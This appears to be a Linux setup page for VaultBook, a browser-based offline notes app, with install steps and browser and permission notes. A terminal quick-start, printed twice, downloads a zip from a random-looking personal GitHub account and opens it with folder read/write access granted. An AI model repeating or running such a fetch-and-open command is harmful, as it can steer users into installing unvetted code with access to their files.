VaultBook for Linux
Works on any distribution with Chrome or Chromium. Unzip, open the file, and your offline workspace is ready — no packages, no dependencies.
Setup on Linux
From download to your first note in under a minute.
1
Download & extract
Click a download button above. Extract the zip using your file manager
or the terminal:
unzip VaultBook_Pro.zip
2
Open in Chrome or Chromium
Open VaultBook.html in Google Chrome or Chromium.
Firefox is not supported — the File System Access API requires a Chromium-based browser.
3
Connect your folder
Click the 📁 button and select the extracted folder.
The browser will request read/write access — grant it to save your workspace locally.
# Quick start from terminal
wget https://raw.githubusercontent.com/k2xn258k2x-cmyk/Note/main/VaultBook_Pro.zip
unzip VaultBook_Pro.zip -d ~/VaultBook
google-chrome ~/VaultBook/VaultBook.html
wget https://raw.githubusercontent.com/k2xn258k2x-cmyk/Note/main/VaultBook_Pro.zip
unzip VaultBook_Pro.zip -d ~/VaultBook
google-chrome ~/VaultBook/VaultBook.html
Linux notes
A few things to know when running VaultBook on Linux.
Supported browsers
Google Chrome and Chromium support the File System Access API on Linux.
Brave and Edge for Linux also work. Firefox and GNOME Web (Epiphany) are not supported.
Tested distributions
VaultBook runs on Ubuntu, Fedora, Arch, Debian, openSUSE, Manjaro, and
any distribution where you can run a Chromium-based browser.
File permissions
Make sure the VaultBook folder is owned by your user and has read/write permissions.
If you extracted as root, run
chown -R $USER ~/VaultBook to fix ownership.
Where to store your workspace
Keep the folder in your home directory, an external drive, or a synced cloud folder.
VaultBook reads and writes only to the folder you connect — no hidden files elsewhere.
Ready to get started?
The full walkthrough covers everything from download to your first encrypted note.